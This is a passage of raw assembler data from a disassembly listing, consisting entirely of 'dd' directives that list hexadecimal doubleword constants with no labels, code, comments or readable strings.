9C91E0CEh, 29B13ACFh, 0C7D3007Fh, 9761F3FEh dd 0EB2EBE1Dh, 904434DFh, 0A5E7BCC1h, 0FDA3F050h, 49050E2Bh dd 7DA0F9FEh, 0B9C136C4h, 8522BF00h, 0B3AB8BC3h, 9E1E01F8h dd 76200144h, 69587029h dd 2AC9C00h, 0BCE81CFDh, 0BF1D3A3Dh, 71E3A881h, 0FC4274F4h dd 861458E6h, 0B488EEh, 4008191Eh, 0E01A509Eh, 74C505AAh dd 0C044254Dh, 1D57CDA1h, 0E12FC71h, 0D0B0FB9Ch, 0C0989Fh dd 14EAB748h, 27F9854Ah, 17E613Bh, 58E529F5h, 4FF4400Bh dd 0D67024C8h, 27803F58h, 3990A926h, 9F007738h, 0C4554704h dd 24696203h, 17B79A95h, 0EF2C90E3h, 4F00D152h, 26E772DCh dd 58445ACDh, 0F80161A4h, 89CEE639h, 0C822FDA2h, 577C4CC5h dd 5CFCBF00h, 34DE1F3h, 84EA4Ah, 9A94B729h, 0B5CD3136h dd 89EC6CFAh, 0A57CC304h, 0C0BC2480h, 0A3005A3Eh, 6879BE83h dd 0B5028AD7h, 0C79C2569h, 40487692h, 40773F9Dh, 617D8000h dd 0B1DC36CFh, 0DAD012B9h, 226403D2h, 0ED0AF19h, 0BF707CA7h dd 0D091B800h, 63E8C2EFh, 1B8BCE4h, 6835A61Fh, 0F02FF99Bh dd 0FC30D3AAh, 0C21A9875h, 9BB2588Dh, 28FE5E24h, 52133E64h dd 3F8493CEh, 9E8727B8h, 35556C00h, 510B3863h, 82F000Fh dd 13735337h, 330BC7B2h, 27B5DD8Dh, 7591C6CCh, 0F547D9BBh dd 0BDE9B080h, 85A5008Dh, 336B86F3h, 0F518E575h, 47110815h dd 0CEF60092h, 18F2898Fh, 0AC96680Ah, 30003216h, 8B90DB81h dd 88550109h, 70D79929h, 0E852D46Bh, 9C3B2628h, 0A0EF100h dd 530B0424h, 1710BCF8h, 113A1871h, 8E00AABFh, 0C3551757h dd 0C4BC8212h, 0ADABCA69h, 4A75C03Ch, 0B33CBC6h, 0F687CECh dd 390320C4h, 0A399F4F3h, 85B5E324h, 164E1BC1h, 3A01186Ch dd 1A5E7EFCh, 0A0B9C010h, 0F124AC02h, 0E057C0CBh, 4ABD88h dd 0E166768Bh, 8A095E08h, 0B1124000h, 0B679CAECh, 0AC9BDFh dd 2FCB94A5h, 0C4008ABEh, 41E84F3Ch, 39D9E5h, 0E04E4731h dd 17E79474h, 493F0C7Dh, 0B0BE00F9h, 84CD998Dh, 3E0EEEA5h dd 6180F1C8h, 64A48B83h, 0EA009777h, 0C7C224EFh, 0C47612h dd 0D51D2B51h, 7D351E62h, 6992560Eh, 78B08921h, 3F789AD4h dd 579DD2E2h, 0E6A609h, 0BFAAE812h, 0C2EA3159h, 83CF133Ch dd 0D2F133EFh, 0CC85B86Fh, 2A42006Bh, 827A814Dh, 310E6727h dd 627FC176h, 48D20141h, 9CDEA4h, 0ECAE2D08h, 152CF1D6h dd 3E0C6D1Eh, 424B8Bh, 6AAB9888h, 75D604CEh, 0AC557DA5h dd 871F74BCh, 0B00D5BCh, 1778CF0Ch, 837B3097h, 24F9C171h dd 9A9D390Eh, 2E70A07Fh, 0DDFBA3h, 0D10130FDh, 0C8C33509h dd 11A1EF00h, 476FEB1Bh, 365B3034h, 5EF3E311h, 963D7500h dd 0D187A9D2h, 0BEA607CEh, 0D0AFDB77h, 41F49449h, 9E000EFEh dd 0B9A2E656h, 0EA8C606Ah, 3893F895h, 39807802h, 91059C76h dd 0C401F646h, 9B4BEDB5h, 20BF01EAh, 13D8B9AEh, 0E3D440D4h dd 5F13B7A5h, 9657A09h, 32B48088h, 2A412040h, 9C3A16h dd 5361B06Fh, 0ABF4441Dh, 0E61A1300h, 0D1E364F1h, 0B5723BFBh dd 0E966CA00h, 0D39FF6D0h, 1F53B10Fh, 9122A0C0h, 2F894D62h dd 0D000717Ch, 0A6ABF9D9h, 5DE83716h, 0F5AC18C0h, 0E297CC7h dd 76B2A311h, 0CAAA7780h, 0EA014126h, 35488EC6h, 0E3A33F2h dd 0C109B7D4h, 7A9DB820h, 6100B21Dh, 875DF69h, 58BF4C4Dh dd 0D1079887h, 40B72790h, 1C476DA4h, 77DBFC09h, 2B8D0B8h dd 0C986B484h, 60D8D66Fh, 19510200h, 53F21448h, 125058EEh dd 39D86724h, 609FEA01h, 0EC8D6911h, 0D30291F2h, 14948955h dd 12687EB7h, 4920F016h, 7F008C9Eh, 0B96787C7h, 0FAD2120Dh dd 2A144E05h, 0B6648420h, 8E00F763h, 73B20EA6h, 17F8365h dd 0C7F02C8Fh, 80DA9A88h, 5A244868h, 28C6C06Ah, 0BCA3B5Fh dd 3173A229h, 4EB71400h, 0FD040484h, 6891E1E4h, 0A8565C83h dd 5DB0DA54h, 0A70FCCDEh, 1880EC2Ch, 1BD4B49Fh, 68C4B751h dd 6A21EB00h, 0B0DB885h, 0C1CAE001h, 161E354h, 3CF4023Fh dd 0E07EB91Ch, 48A00B92h, 336720BBh, 0BF9D553Bh, 93820379h dd 8FE8B1A6h, 96C0EFB0h, 0DE4F0108h, 83B863C9h, 302CD942h dd 561E3CCCh, 5970BAD4h, 5AB7352h, 485E797h, 18E000EBh dd 597F2DF7h, 95A3E900h, 0A4B8F85Dh, 0C888002Ch, 0D3993C74h dd 2E726685h, 0F8970C00h, 53D13A58h, 0E2DF3F1Ch, 8BA3E50Ch dd 4A002AC8h, 1495F2EAh, 19A602FBh, 68F7E7E4h, 0C516E84h dd 0E8C50EA8h, 0FC13205Ah, 13455C3Ah, 0F04C3651h, 120CC23Ch dd 11957C93h, 179600C1h, 0DE5AD523h, 9B000FFBh, 9DA0C2E1h dd 97716977h, 9825DCA1h, 389AF05Bh, 5A0E2F06h, 601058ACh dd 0D6F52BCh, 8370DD80h, 0B4628218h, 0BA833DAh, 1A70DE10h dd 53EC7C60h, 83AF1400h, 84D5E265h, 0B3450766h, 5015A51Dh dd 0BDD4D3D2h, 5244A403h, 0C0512A77h, 0E58046h, 5F93C34Ch dd 0AB780858h, 89AE5200h, 369E7FB1h, 310460CEh, 0D312D562h dd 0F94D40h, 640C8DEDh, 3E08831Bh, 6FA99500h, 70204227h dd 0E4340657h, 987F40B0h, 0BC8DEB00h, 87462858h, 0FF2531C0h dd 68181FE8h, 0B1DF0A78h, 253EA004h, 5D980277h, 0EB2C40CAh dd 0CD71006Bh, 6170CB8h, 6C03464Fh, 3458ECA9h, 1244F019h dd 0D73250B5h, 0BBA18EDh, 76C16069h, 2275D300h, 72502754h dd 0F4FADCh, 8F1DA10Ch, 938A7AD6h, 29F89C17h, 4B3F580Fh dd 0F6C880F9h, 40C28FF4h, 611C3AD5h, 0EF830946h, 80181754h dd 727A8AAh, 0FCBBA10Bh, 57B53014h, 2000EE1Eh, 3BC797D3h dd 0ED49AE2h, 0D26CB48Dh, 879C5C0h, 6B209671h, 69DB01F7h dd 2A9D7A52h, 319C349Bh, 3DC48E4Ch, 17BA1646h, 0B76E04C0h dd 706EC66h, 0B5CDA071h, 0E84BF0B3h, 0A5AF611h, 1B25402h dd 1903405Bh, 69A9017Eh, 8D8A92AEh, 9A6C202Bh, 59008C90h dd 6CA57709h, 3B27FB8h, 434AAA8Ah, 93E01CF7h, 0FF003EF2h dd 8F70CB8Ch, 255078h, 721A9EC3h, 34869862h, 0D1CE4B09h dd 0A1FD80C4h, 0BAB1E1h, 1102891Ah, 0AA6EDEE9h, 79735898h dd 0BB78583Bh, 0FC3D3DD9h, 1C0BF500h, 698E8348h, 76F6075Ch dd 7CDAD67h, 88BAD7h, 0A3F0FB33h, 0E00205Dh, 114FF36Ch dd 0B2F0821h, 9412B515h, 0C9C0F880h, 4E74A2EEh, 0B8638026h dd 2C23ED00h, 98740B2Dh, 0B872005Dh, 0E06A4BA3h, 9758AAB7h dd 0D1EA73CCh, 0B25FD600h, 1A962568h, 911405D9h, 916ACEE4h dd 0EB79697Ch, 27A680F4h, 6C02D64Ah, 0E18999B7h, 2D04F877h dd 86A65B6h, 0CD3F7869h, 27E8503Dh, 7E006140h, 3425F647h dd 0D2E17A29h, 0A0740098h, 0D34FC8A8h, 33CD1102h, 0F8F0B9FCh dd 0E8D10084h, 6D319C34h, 0D401F94Ah, 60826676h, 0BEC0F024h dd 0CD7830AEh, 6FB01769h, 60BC7A5Ch, 0FD370799h, 277347h dd 0CB533CD4h, 0B18A119Ch, 17680CBh, 0B867CFACh, 32DD75F8h dd 40F82602h, 0EE898C90h, 4443304Ah, 2438F036h, 18B871h dd 61C90EB3h, 2400EDA4h, 334CF436h, 0C38AC1F6h, 461750E8h dd 40FE99F0h, 0FC58F300h, 0B9143BD2h, 35158CDDh, 0BA0375Ah dd 0A078F0E7h, 0C4DBC84h, 0C0A4842h, 0E5C33B01h, 803FDE28h dd 0A53A8589h, 2564997h, 526E7594h, 10485372h, 24FEC981h dd 4A8E2C00h, 63474080h, 0AC5549C3h, 998BB338h, 75406898h dd 955010D2h, 0CE5FA8B0h, 0F02BCC09h, 0C8B703ECh, 6160574Eh dd 48FDA927h, 183448E8h, 594C7A6Ah, 9800B8B0h, 0A15FBC3Bh dd 699A01h, 661E815Eh, 0DB7CE99h, 41071409h, 9AA180A5h dd 388245h, 2AEF24F9h, 73A4CFCh, 0BE00BF7Fh, 0C30D56EDh dd 6D1572h, 2038330Bh, 8AC1C40h, 32408A61h, 3060646Ch dd 96E7C6Dh, 131D78Fh dd 0BA757380h, 9D0263D6h, 93817B55h, 0A5704B61h, 5E388870h dd 1804B091h, 0E9B203BCh, 9FE482F2h, 0CE0A2C92h, 0FC96D16Dh dd 0CA83CD06h, 3F0F0C99h, 5D963C2Ch, 2A9651C7h, 1D9FE740h dd 7ED0B8FDh, 4C6D7825h, 0A107F0C3h, 81D7CBA9h, 7440869Eh dd 0D64BADF0h, 570DC444h, 0B282F01h, 0B7707045h, 0EBAF8000h dd 23072DE2h, 0B57DB8ABh, 0A12CD8A2h, 43D10h, 28FFE4FAh dd 70BD46Eh, 3ECAAF1Ch, 0FC2B00FCh, 49F7433h, 15191490h dd 0EF01F04Fh, 370C5C8h, 0D112E9E5h, 8A078A9h, 80A85Ch dd 81377F83h, 85008DDBh, 0A4A2D193h, 0FA6F3355h, 0E7133BD9h dd 6B2F0700h, 0CA14AC63h, 7BFBFF01h, 92E93797h, 7830E861h dd 803CB4D7h, 3AAE7C4Eh, 41FADC10h, 24A0BF4Ah, 4D6F0BA5h dd 14DAB2FBh, 0DE4E1300h, 0D6E92C15h, 0F538001Eh, 0B43ACBE2h dd 30255DECh, 0D7498C0h, 86041365h, 7D6CB068h, 336AE002h dd 0F81E244Bh, 0D05A3C68h, 79359300h, 3CDCE262h, 4ABE2E24h dd 0D3B62600h, 1C1C04Ah, 0C5E6EC37h, 0F4E23CB3h, 0F45024D9h dd 22001F92h, 0A3CCE966h, 0F1B8153h, 90D1510Ch, 575D67h dd 96EE1FFAh, 0BF724100h, 88477AFCh, 0A174C2Eh, 0D5B90F02h dd 0CD7459F1h, 20794009h, 0C1ACD454h, 6D9300FCh, 8FB5FE75h dd 0BC5CF41Bh, 8D23C4F0h, 6ACAAA02h, 0B92450F0h, 0A70134BAh dd 3518F80Fh, 853470h, 911D7A12h, 0EA2E4A0Ah, 421BA507h dd 10D18DFBh, 32C0621Fh, 0EC950006h, 60A09382h, 389ED4BFh dd 4428B301h, 96D5CA3Ah, 7B552070h, 0AC654C05h, 0B4B77700h dd 0B80D03FDh, 0BCAE0200h, 0BA7FE39Bh, 0B976B1h, 6045DF53h dd 0CE1951DAh, 408E302Fh, 7388F950h, 0E09A7725h, 0C0A4C40h dd 3C183301h, 607E3583h, 0A2009274h, 2ED16E5Eh, 0DEBC7Ah dd 58B2FAD3h, 0B17FDD8Dh, 681E5A7Dh, 6F41AF70h, 769619CEh dd 5C0A9AC0h, 0E00B644Dh, 810186D6h, 2052F8C8h, 5870D354h dd 0FE450E00h, 68D9413Bh, 902890B0h, 2412170Dh, 282CE09Bh dd 5913973Bh, 0A2A111F8h, 794B7200h, 15E7B793h, 0CAC5E209h dd 1E825F65h, 0AC6C23F0h, 0AAE0A01Ch, 4241B0CFh, 20225047h dd 10DEBB44h, 8ACAED09h, 0B1C88068h, 0E8565BC7h, 53802EFh dd 0A3657A36h, 1D276E60h, 0D31E3A00h, 0C905EDFh, 4C4B1221h dd 0F93C0AA6h, 0DCB95B3Ch, 0EED82579h, 0B7AF5868h, 89C79000h dd 0BAA4E306h, 0ABFD0F02h, 8034E7AEh, 580C4503h, 1691921Fh dd 0E0E5C250h, 6B43260Eh, 0AB28983Ah, 86D70113h, 2910B5D2h dd 4C7434BEh, 0C6EE28BAh, 11C82F00h, 7166232Ah, 0B3BF019Ah dd 0C29E06F9h, 0A2908078h, 73177B28h, 2962F09h, 10200868h dd 0C0C7C0EEh, 201B6FC7h, 557F4F78h, 0D1F71357h, 1CF8B433h dd 0F3F0DD15h, 2DC280B8h, 2C7AA63h, 1099DF8Fh, 0E0C8D8E8h dd 0F87A451Ah, 0B68C252h, 362048h, 57525408h, 0F8BE07FDh dd 917B9867h, 80D074C1h, 4CE92570h, 5476FF0Ch, 2B5C0FCh dd 4126BF65h, 4492C401h, 74787DC1h, 15F80690h, 0B300D97Bh dd 6B29688Eh, 856D3Ch, 58109B23h, 5AFEBFF8h, 209C71E9h dd 191F3024h, 0B02AD04Ch, 0C064875Ch, 6E797F06h, 0CF6901B3h dd 53635C4Fh, 55A8204Dh, 3027222Eh, 20096B8Bh, 0E6196974h dd 73C300D6h, 548E6592h, 22505293h, 69076EF4h, 0F391C9E0h dd 0B4403195h, 7B41113Eh, 8C231B62h, 0E7D0D985h, 20B779DDh dd 303E8E78h, 283307C7h, 234CD1B8h, 50E96E38h, 0B4CC30F0h dd 3A9BA400h, 44D22BF5h, 0C4D71DEBh, 0CC39804Fh, 0D9FF4968h dd 0F9B0E300h, 7EAFEF28h, 4C7671h, 0F29BCB39h, 0E8BEC61h dd 0B92C8600h, 0FA1A58FBh, 0BC13009Ah, 0D7ED8F7Bh, 0A0B8476Eh dd 0DB6ADD1Fh, 0F19A9240h, 180882E5h, 38CD2060h, 0D7E8D1E1h dd 90BAD800h, 2119D9B4h, 64260082h, 69768073h, 41C07F1Eh dd 3B1FA45h, 0B4230241h, 0CA40E9C6h, 0A3639340h, 0DFD2CCA9h dd 861150D8h, 94AD351Ch, 7591903h, 563825AEh, 67851851h dd 64C48BA7h, 940060ECh, 0C4AFF55Ch, 0F32F4673h, 0AEECE84Ch dd 98008301h, 0C49E7738h, 1DB7B2A4h, 807458ECh, 0AC0DCAB3h dd 0A80FA195h, 4F6C1F66h, 70C42097h, 0FE99BEh, 0D040E4EFh dd 129FEEA9h, 11040C0Eh, 0E18D4F78h, 3A410DCEh, 954515C4h dd 0C3C2CC48h, 0C14EBF07h, 84F0169Fh, 0F326FCh, 0F5181FD4h dd 2DCF74D0h, 82B4F900h, 43049A1Eh, 1B5B09F2h, 8055E5F7h dd 8F277E00h, 5A7D0035h, 4FCE4696h, 9A00882Dh, 0D2D60CEFh dd 510ECB58h, 0D6D284CFh, 0B302002Ch, 0BBD4D398h, 0EB6CE500h dd 0B877F4CEh, 89C600E0h, 7409CA2Bh, 1B01A47Fh, 68B78EBFh dd 80EE80D1h, 4D165192h, 5F62005Dh, 0FF88F6DEh, 2095B685h dd 0F0DABB78h, 4FD10AB9h, 97CCE697h, 56E45262h, 96E44E9Ch dd 21D43460h, 7F00B1F3h, 0C0D89EBEh, 12445812h, 103266Bh dd 6EC3F488h, 3858F2CBh, 0E82C6AEDh, 0A6ED0111h, 52C34B4Fh dd 1EB440B6h, 3C007A95h, 0D08A97DCh, 4CAE5F2Fh, 0CC00DC7Bh dd 9DABD143h, 9E27E255h, 0C824C0B5h, 0B37205B4h, 819AA12Bh dd 60496DB8h, 4702D390h, 1273C9FEh, 0CBE8C096h, 0F3EB8048h dd 7F0D9016h, 80CC9C90h, 0DB8E25C0h, 0AA1788C0h, 0B3F15906h dd 48A8D19Eh, 0C0616138h, 0F181D245h, 0B8832B77h, 18195D8Eh dd 402CBF00h, 28A3D636h, 0E5000498h, 0CC44CDD5h, 37F98ACh dd 79F0EA29h, 90A4B47Ah, 6777AE7Ch, 9F3CDA7Bh, 570070D8h dd 4E996920h, 10F3FF8h, 76DCE9ECh, 3849E324h, 5CB38040h dd 0F930C1CFh, 5565D850h, 732DFC0Ah, 18460047h, 3D074D17h dd 8C9CA9F1h, 0A51211D1h, 882D24C6h, 2D9C682Bh, 0BE1F0C3Dh dd 2F81BB49h, 0BC26701Ch, 40BA56h, 0B68BAC8Ch, 46AE008Eh dd 0D0274D47h, 2F7162D3h, 0A33C2058h, 0FCADC528h, 1F01984Ch dd 0B91D4DF4h, 0F7744C23h, 0C3B28900h, 8A9BCE78h, 0BA2901B1h dd 0A46FFA0Fh, 403838E9h, 809761CCh, 0CC157CB0h, 76DF055Ch dd 0C16F67CDh, 483EB4h, 4E66FC1Ch, 0A0086084h, 70F779Bh dd 409E4F7Ah, 8565C3A6h, 0C181314h, 0D6B40A51h, 0C82400ACh dd 0AE2B8F66h, 54F8AC01h, 52FBF58Ah, 1C7D1428h, 0C08166AAh dd 345C5B5Ah, 2216480Dh, 0D83703D2h, 30C4EB72h, 9C5CD344h dd 9CE0080h, 233F451Fh, 5C77D47h, 0D083EAF4h, 0CD5C809Dh dd 532AB4DAh, 160AFCC6h, 0AC59223Eh, 10D39182h, 0B8400941h dd 0BD0004ECh, 4B184EF0h, 9C48A3E4h, 6CEA0160h, 0DCD3234Dh dd 582CF89Bh, 53846C51h, 0E8E9A603h, 0BB1B60Eh, 6CC2AAC9h dd 0F25EB460h, 0FC002C98h, 9B7D3ADBh, 663830h, 6F20610Dh dd 28F149CEh, 0B748181Fh, 0A9550300h, 39A91F0h, 1F689CA3h dd 1025F38Ch, 104480B9h, 0ECFECFh, 3A187F25h, 0E36F02C6h dd 0AC0AF0ECh, 0F8F50674h, 0AB82080h, 4A5B7Fh, 0BB3E1732h dd 39AE48Ch, 0D9C49C25h, 0EC2300CCh, 0D49B78CCh, 9EB28B1Fh dd 0D4E0F693h, 446F1250h, 80E85Dh, 3A3B4729h, 792D7D3h dd 71BE18E1h, 351FB0B1h, 51000B87h, 2F3924F5h, 0B5CD846h dd 592D7B9Ch, 92013374h, 277889CEh, 23F4C7F1h, 0E9DA0168h dd 3366511Ch, 0C4063F20h, 26104EA0h, 3CB014A4h, 0D051D280h dd 4CFE805Ch, 56C41800h, 793555B3h, 41FF1D1Eh, 0BE3C425h dd 809584AFh, 0ADDCEEF9h, 37E5050Bh, 295000C7h, 0F53391h dd 256C43E6h, 0F180A309h, 0A86EC600h, 0FA91CC8Bh, 3B9300CFh dd 0EF980114h, 6F09942Ch dd 0D8377F57h, 0B37908h, 5AF54205h, 6B92109h, 1BE8F2EEh dd 0DC34590Bh, 85C0086h, 976A65B3h, 0EBD100C7h, 4096A01Ch dd 79867580h, 1E08CFFFh, 15213932h, 0B12F83Bh, 27FCEC45h dd 51706896h, 5DB20088h, 0B8B383D0h, 0CB7EE369h, 45604BE6h dd 9D265139h, 927C099Ah, 18409002h, 59007E9Eh, 9B5AE18h dd 4922E991h, 3101E45Ch, 4AA1DF1Ch, 0C248D098h, 0FA27ECF9h dd 39F7E402h, 7E5D5A1Ah, 0C64E0B88h, 0DA7A68D8h, 0F377EAFEh dd 7D5A6500h, 37E30F13h, 0B13A3D4Bh, 88961180h, 0B2AA3D3Fh dd 89DA9A01h, 0F23467AEh, 0FE8D29F0h, 0D3FE03D4h, 63E8EFC0h dd 10FB9127h, 80923F9Ch, 0DD00EE4Eh, 0AF6E93F5h, 95BE5E8Dh dd 0A06C1822h, 5F00F444h, 4C943CCFh, 2FD6D7Eh, 0E38244D1h dd 74D0A128h, 0E9A0AB07h, 1A308318h, 7DC543EBh, 7257E60h dd 77EE7027h, 0B14E40C9h, 0D8E023FDh, 131D8A48h, 6C0081CCh dd 204D621Ch, 80CB64Bh, 5840C99Ch, 4BF68C21h, 4310B438h dd 50683Fh, 0BDC5A731h, 0E48ECA4Ch, 0FC7633h, 0D981E606h dd 0BA668010h, 2F05BC90h, 0C3BF36E5h, 0CA1C1C80h, 9293A5Bh dd 7D8E9B87h, 0C55221EDh, 92C76013h, 435B5500h, 0A4EF97C0h dd 0E953FF8h, 802474AEh, 856EB270h, 0E10089B5h, 1CD3AF12h dd 2759BF5Fh, 0E000813Eh, 0E9A3FC13h, 74BB1702h, 821992A8h dd 0CBA61B9Eh, 0E090B09Ch, 0BB660C9Bh, 0AC286E79h, 0C7D5700h dd 5FD052ECh, 0AAED1443h, 0B902E42Bh, 0BEF7490Bh, 0F07B840h dd 0D1E2270Bh, 0EA084119h, 0DFF0C22Ah, 1C76FA89h, 0B4E4DC12h dd 1141270Dh, 5C58F850h, 8997016Ah, 57336AE9h, 430CF839h dd 0FC784652h, 97CF5B01h, 7E42753Dh, 60DCD02Ah, 3AEC17E2h dd 0EB6B7000h, 0FE81F703h, 69A5002Fh, 609AAE64h, 25095498h dd 2574Dh, 23E6C9C4h, 10B100EDh, 0C7B45D63h, 0A664E7A3h dd 0AAB3ACh, 0F9468330h, 5D16912Dh, 38803D04h, 93CF18Dh dd 339E9BE7h, 7AFCC4D8h, 4A7F9A77h, 5B5CE0C4h, 380704F8h dd 8BBE5FA8h, 180A4801h, 8B306CFFh, 702B9Ch, 266EA6CFh dd 0B70B24Ch, 842059FAh, 0C1C028A0h, 6304CB3Fh, 7E5481B6h dd 1C2506C1h, 4EDAF3E0h, 0B220B0A2h, 0B49050B0h, 0D20AE0C3h dd 0D16B8F2h, 497801DFh, 587D3583h, 68F77098h, 84142827h dd 70A92544h, 0DA808532h, 0D498B0E2h, 4C005AC0h, 0D044CD57h dd 52F10h, 0F8E1AAABh, 0F52508C8h, 0D6098D01h, 227C7E0Dh dd 0DAC4802Fh, 6972E6C0h, 0DF810C96h, 6AC788C9h, 39C9BF4h dd 0F795DA75h, 73C80D7Dh, 0DB2467B8h, 0F9254082h, 0D21A9690h dd 0B861E884h, 29B871FBh, 0B9D48314h, 68C085F9h, 420F36h dd 551A3585h, 0D0224452h, 87619F02h, 0C1EF4F5Eh, 37FCDD4Ch dd 8DA0132h, 0CBB6D1E3h, 42F820BEh, 785FB02Ch, 35661700h dd 17E293A2h, 11D14DCh, 0FB221326h, 0A43B6016h, 8220326Eh dd 0FABC1223h, 0BBF50088h, 7A0FBB9h, 92127620h, 0DC006E8Ah dd 1AF87F60h, 0D1184BE2h, 2FAFC6A0h, 5C29C80h, 0C4624AB5h dd 0F830AB8Ch, 162E669Ah, 3421F8BEh, 178BDA4h, 66B413FAh dd 0F6F46B94h, 0C859005Eh, 0A33E79FFh, 5C006383h, 9B68207Fh dd 0CADA3Ah, 510C10E8h, 0C784B686h, 83AA080Eh, 8568649Fh dd 2A1E8480h, 0FE04B872h, 0AD4A0095h, 0F4A3D67Ah, 0DA70E499h dd 3D82F100h, 790FB410h, 0E009BFDBh, 0C2B6809h, 0F2371468h dd 0A3B5E176h, 0B019DBE0h, 0D8CEAFh, 6C1429F0h, 7D653D01h dd 28004897h, 0A86DF792h, 0B6AE710h, 59FD2248h, 9F91FD4h dd 34414D7Bh, 7094C4BBh, 3CFA4713h, 0B40DD402h, 3BF856B1h dd 8A97E980h, 0E05F3661h, 943D100h, 0D393E838h, 2C50B79h dd 28001767h, 0F23DC76Bh, 4480D94Ah, 52633Eh, 0A4C870D5h dd 0AAD84E1Dh, 8B07412h, 0E47994C7h, 0C01F5EB4h, 0F90EE918h dd 8C31172Ch, 2DAC2327h, 0D526CB09h, 7022B40Dh, 0CD48016Ah dd 60D46CBCh, 2300AE25h, 0D092D27Bh, 60EC7A15h, 831E688Bh dd 93281850h, 60008F82h, 80E39C20h, 7A9E95h, 0D60EB155h dd 720AD589h, 75A27D04h, 5480F705h, 975AE3CCh, 392398C8h dd 66CE3C04h, 8CE8197Eh, 2B471700h, 0EC63421h, 7D989700h dd 0F7A681D2h, 70C30110h, 0C9D1284Fh, 0B1ABCC50h, 73D9483Bh dd 0FF0050B0h, 73037594h, 2E1E0221h, 1CF03151h, 1FCA489h dd 9A1991CAh, 685EFC6Dh, 7401A64Ah, 729C2E74h, 18A05FF6h dd 1F4F734Bh, 0A2CC5E00h, 0AEE06A4Ah, 21672465h, 0E4EC00C0h dd 0F3BBF030h, 0C49CC070h, 9EC62E40h, 68864CB4h, 6B997200h dd 0DE544E8Eh, 70B1BA12h, 97F0ACE0h, 20A8E844h, 162E8068h dd 1801ACB3h, 50362E48h, 219352E9h, 96B810A2h, 68A92E72h dd 7DAA82CCh, 105D92B8h, 7C2862Ch, 4255C999h, 81F4446Dh dd 5512AD3Ch, 0ADCCh, 0DD663454h, 1F7358ECh, 728FC27h dd 609A3691h, 833FBDC0h, 35027239h, 98802920h, 491651h dd 11BF50E2h, 0EFDB1F32h, 0A0103Fh, 803ADAB1h, 54348194h dd 9929B0E8h, 86DF8298h, 205073DEh, 79D61E6h, 0D00C1630h dd 0D898003Fh, 45A38CEh, 0A50052DBh, 0AF501B39h, 4F82BE5h dd 0EF120D7Ch, 0F898C45Bh, 2238DCh, 5564E2B6h, 4F1567Ah dd 0CDAAFA59h, 0A32C80C1h, 0FC00AFD3h, 3D0F0E29h, 8A30E0h dd 377EA0B9h, 0D432CB64h, 1170C804h, 0C581BC6Fh, 0FADB31A2h dd 0BD704081h, 91B6079Ah, 0F0E6A1D1h, 7FB4C869h, 2C397107h dd 634090ABh, 596EC5Eh, 4732E76Dh, 2408E0F6h, 6E002491h dd 7B5AB2DCh, 4F7F2FA3h, 99FA08C0h, 95DF1004h, 0E8F45177h dd 0B0809FE0h, 347CB0F0h, 0E925A49Eh, 30208954h, 5BC92062h dd 3A527C00h, 0B9B4985Dh, 0B64700B5h, 0D4E1EABCh, 4C77E281h dd 1F388C03h, 0B176598Ah, 106C5FA5h, 64C80F00h, 98CD82DAh dd 851AAA8Bh, 0D8BCCCC8h, 0D0D24A27h, 6CA0CF4Eh, 0A90B2A9Bh dd 78C900E4h, 85C8013Eh, 0E200CCBFh, 0E404C4E9h, 98EAAD43h dd 20248148h, 48824831h, 5A7C6C97h, 3E18FCh, 22326DC7h dd 2A190EA0h, 0F7A066E1h, 67E0496Ah, 6A00ACD6h, 0CBCC537Ah dd 5550033h, 78F48D6h, 5490B0ADh, 56F14404h, 3080D4FAh dd 69345D32h, 14F078FDh, 1179CB34h, 0D8B8C8h, 483997Eh dd 9AD7F8BBh, 0F1C5CB03h, 2DC8CE18h, 0A8457E89h, 653BC400h dd 27FC78ACh, 9880FA7Ch, 76CBEC4Ch, 7074C127h, 0DE4100BCh dd 783DD52Ah, 824FEBE0h, 0CAAC4021h, 0DC7C3980h, 0BA2FE79Eh dd 0DCE148h, 3F435F98h, 0F8ABA6h, 1DDF25C7h, 0F3551F22h dd 185F887Dh, 0FF880Bh, 3D6C33D3h, 79E077Ah, 0D213763Ah dd 18C3CC24h, 58262DDAh, 0E2C923Eh, 8EAF9430h, 582BEBh dd 4F16210Bh, 5DC49025h, 9DAE057Ch, 4B4C34EAh, 4A94E80h dd 0A032F000h, 0F4759A01h, 0C43EE924h, 2045027h, 5A3B22F3h dd 0AB5750F5h, 484CF074h, 9D007C41h, 55068F0Ch, 82161B6Ah dd 78E1E4D0h, 0E42BC094h, 9384E26h, 70C0A1FEh, 0B1E4FF4Dh dd 0E6BE3F00h, 72066C8Ah, 144C00DFh, 7830892Ch, 7E05A8F3h dd 0A57D9DA2h, 26C1C3C1h, 10051E8Bh, 0DE36D090h, 0C4A4C64Bh dd 0B2374E32h, 813E87Ch, 839F089Dh, 1A00A647h, 1C711B7h dd 0DC09BC0Fh, 2B71A402h, 0FADE90CBh, 7184EF1Ch, 89A79C18h dd 0FE738010h, 0EA203498h, 0D0EA580Ah, 849DC707h, 0A5788341h dd 0CC975882h, 8F752A09h, 0E00F4198h, 0B1406BA2h, 9FA33Dh dd 95B314CEh, 977D09C4h dd 0EDA46614h, 869D034Ch, 1F2A2829h, 0C11224B8h, 493C2277h dd 8CD03AE7h, 32C45C2Ch, 0BDB8B7AAh, 0E460E742h, 9700D0DFh dd 926E27DEh, 7EF752FDh, 151A00F8h, 0C9A38DE1h, 0AC0F2C18h dd 0C57B5Bh, 0D13E5E5Ah, 3F833CB1h, 98279Eh, 0C2888EBh dd 32F280E9h, 6573891Eh, 4EEC1200h, 26FA4B44h, 9F343Ah dd 0F7642094h, 0D3007004h, 155C121Ch, 4B0825h, 362CF2E5h dd 39AFCFC9h, 499B8100h, 95D3216Ah, 0CC7A0013h, 2D303D90h dd 6F847E6h, 9B4C6600h, 0AE6E4EEDh, 776D00AAh, 45EAD3CEh dd 89047A97h, 31FFD743h, 8461A180h, 70D20079h, 3045177Eh dd 5B0074DCh, 0EB55E3D9h, 40B3B96h, 74E4B1Fh, 0C1D08903h dd 3F5DD198h, 2F4AF0h, 70D63126h, 149163A5h, 0FA505902h dd 0C0C08789h, 92CA37DFh, 0EDBD0764h, 0A023B745h, 71933B78h dd 0B6D4FF00h, 3A5E2A8Fh, 0D228DE3Ch, 7E304034h, 606AF387h dd 0CF934600h, 0D1FE4358h, 299900A7h, 41DCCAC9h, 3903EE48h dd 30DD495h, 94A90016h, 26545B9Ah, 0E300B7FAh, 98A37F86h dd 90A519DAh, 206FE8Eh, 0DB48B88Ah, 14407C44h, 0B301FBD6h dd 0C94C2A4Bh, 6FE0918Ch, 1C91C02Bh, 3E79AA37h, 7695DD00h dd 0C02A2273h, 84890045h, 19555681h, 7D31EF4Fh, 7A6198BFh dd 312AC8DBh, 0DB8730DCh, 56BCEB70h, 184D523Eh, 